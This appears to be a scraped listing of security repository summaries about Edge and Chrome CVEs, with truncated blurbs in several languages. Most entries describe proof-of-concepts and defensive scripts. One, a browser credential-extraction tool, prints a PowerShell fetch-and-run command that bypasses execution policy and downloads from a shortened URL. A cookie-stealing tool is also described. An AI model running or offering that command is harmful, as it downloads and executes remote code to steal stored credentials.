CVE-2022-0337-PoC-Google-Chrome-Microsoft-Edge-Opera

🤝 Mostre seu apoio - dê uma ⭐️ se você gostou do conteúdo | COMPARTILHE no Twitter | Siga-me no CVE-2022-0337 Vazamento de variáveis de ambiente do sistema no Google Chrome, Microsoft Edge e Opera 📝 Descrição A exploração bem-sucedida dessa vulnerabilidade pode levar ao vazamento dos segredos do...

CVE-2024-21388

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 हम उन सभी नागरिकों की सुरक्षित वापसी की मांग करते हैं जिन्हें आतंकवादी समूह हमास ने बंधक बना लिया है। हम तब तक आराम नहीं करेंगे जब तक हर बंधक को रिहा नहीं कर दिया जाता और वह सुरक्षित घर नहीं लौट जाता। आप उन्हें घर वापस लाने में मदद कर सकते...

CVE-2019-0567-MS-Edge

CVE-2019-0567-MS-Edge POC Una prova di concetto per MS Edge come esercizio per imparare lo sfruttamento del browser e le migrazioni presentate sulla macchina Windows 10. Tutto il codice è stato creato da Connor McGarr e modificato per funzionare su Windows 10 build 15063.483. shell2js.py Il mio...

TriBell_Edge_SandBox_Escape

TriBellEdgeSandBoxEscape Tribell Edge Sandbox Escape - PoC delle vecchie vulnerabilità di Edge BadgeUpdateManager / TileFlyoutUpdateManager / ToastNotificationManager per sfruttare la condivisione transfrontaliera di XmlDocument e uscire dalla sandbox LPAC di Edge CVE-2019-0555. Le PoC attivano...

Chrome-and-Edge-Version-Dumper

Chrome-and-Edge-Version-Dumper Script Powershell che esporta la versione di Chrome e Edge in un file di testo per determinare se è necessario aggiornare a causa di CVE-2022-1096 Assicurati di modificare i percorsi prima di utilizzarlo e di creare la cartella in cui verrà salvato l'output...

CVE-2022-21970

CVE-2022-21970 Descrizione Vulnerabilità di elevazione dei privilegi in Microsoft Edge basato su Chromium. Questa vulnerabilità consente a un attaccante di eseguire codice javascript su qualsiasi host senza permesso; un attaccante può anche rubare file di sistema locali e manipolare le azioni sul...

STIG-Edge-RCE-CVE2025-9478

STIG – Microsoft Edge Chromium 139.0.3405.125 Esecuzione di codice remoto CVE-2025-9478, Plugin ID: 258091 Prima Riscontro: Microsoft Edge versione 139.0.3405.86 era obsoleto e vulnerabile a una grave falla di esecuzione di codice remoto RCE CVE-2025-9478. Rischio: Gli attaccanti potevano sfrutta...

Microsoft-Edge-Information-Disclosure

Microsoft-Edge-Information-Disclosure CVE-2024-30056 – Schwachstelle zur Offenlegung von Informationen in Microsoft Edge Chromium-basiert Es handelt sich hierbei um eine Schwachstelle in Microsoft Edge Chromium-basiert. Der Angreifer konnte den Benutzer dazu verleiten, ohne dessen Wissen sensible...

cve-2017-0065

Sfruttare il gestore URL read:// di Edge Introduzione Questo exploit è stato segnalato a Microsoft e sono stato accreditato per averlo fatto. L'exploit è stato corretto il 14 marzo 2017 con i nomi cve-2017-0065 e MS17-007 e non funzionerà se vengono applicate le patch correlate. Il codice sorgent...

VMware NSX SD-WAN Edge - Command Injection

VMware NSX SD-WAN Edge formerly VeloCloud Edge before 3.1.2 contains an unauthenticated command injection in the local web UI diagnostic tools Ping/Traceroute. This template detects it reliably by injecting 'id', 'whoami', and a random marker. id: CVE-2018-6961 info: name: VMware NSX SD-WAN Edge ...

CVE-2018-8495-POC

CVE-2018-8495 POC PoC simples da CVE-2018-8495 Execução Remota de Código no Microsoft Edge fonte : https://leucosite.com/Microsoft-Edge-RCE/...

CVE-Tracker

CVE-Tracker Con l'aiuto di questo script automatizzato, non perderai mai traccia delle nuove CVE pubblicate. Questo script PowerShell si occupa esattamente di avviare Microsoft Edge all'avvio del sistema, navigare verso 2 URL e quindi mettere il browser in modalità schermo intero. Come hacker...

draytek-arsenal

Draytek Arsenal: Toolkit di osservabilità e hardening per dispositivi edge Draytek. Gli attaccanti avanzati scelgono sempre più spesso i dispositivi edge come bersagli. Tuttavia, questi dispositivi sono controllati da software closed-source noto come firmware, spesso distribuito in un formato...

chakra-2016-11

chakra.dll Info Leak + Type Confusion per RCE Exploit Proof-of-Concept per i bug di Edge CVE-2016-7200 e CVE-2016-7201 Testato su Windows 10 Edge modern.ie stabile. FillFromPrototypesTypeConfusion.html: WinExec notepad.exe FillFromPrototypesTypeConfusionNoSC.html: 0xcc INT 3 Per eseguire 1...

credgrap_ie_edge

credgrapieedge المحتوى: استخراج بيانات الاعتماد المخزنة من Internet Explorer و Edge المؤلف: Florian Hansemann | @HanseSecure | https://hansesecure.de التاريخ: 04/2018 الاستخدام powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" التوصية حل PowerShe...

MacHound

Cos'è MacHound MacHound è un'estensione dello strumento di auditing Bloodhound che consente di raccogliere e ingerire le relazioni di Active Directory su host MacOS. MacHound raccoglie informazioni sugli utenti connessi e sui membri dei gruppi amministrativi su macchine Mac e inserisce le...

eclipse__hawkbit_CVE-2020-27219_0-3-0M6

Eclipse hawkBit™ - Update-Server Eclipse hawkBit ist eine domänenunabhängige Backend-Lösung für die Ausrollung von Software-Updates auf eingeschränkte Edge-Geräte sowie leistungsfähigere Controller und Gateways, die mit einer IP-basierten Netzwerkinfrastruktur verbunden sind. Build: Docker:...

CVE-2019-1253

CVE-2019-1253 PoC originale inviato a MSRC. Questo problema è stato corretto con l'aggiornamento regolare di settembre 2019 "martedì". Assegnato a CVE-2019-1253 - Windows Elevation of Privilege Vulnerability. https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1253 Ci sono...

CVE-2019-0678

Vulnerabilità Vulnerabilità di elevazione dei privilegi in Microsoft Edge Descrizione della vulnerabilità Questa vulnerabilità consente a un aggressore di eseguire codice JavaScript su qualsiasi host senza autorizzazione; inoltre, un aggressore può rubare file di sistema locali e ciò comporta anc...

cookie_crimes

Estrazione dei Cookie di Chrome Senza Root Questo strumento stampa i cookie di Chrome di un utente. Non è necessaria la password dell'utente né i permessi di root per usarlo. bel bel bel bel bel. Se non sei il tipo di persona che ha regolarmente la capacità di eseguire codice sui computer altrui,...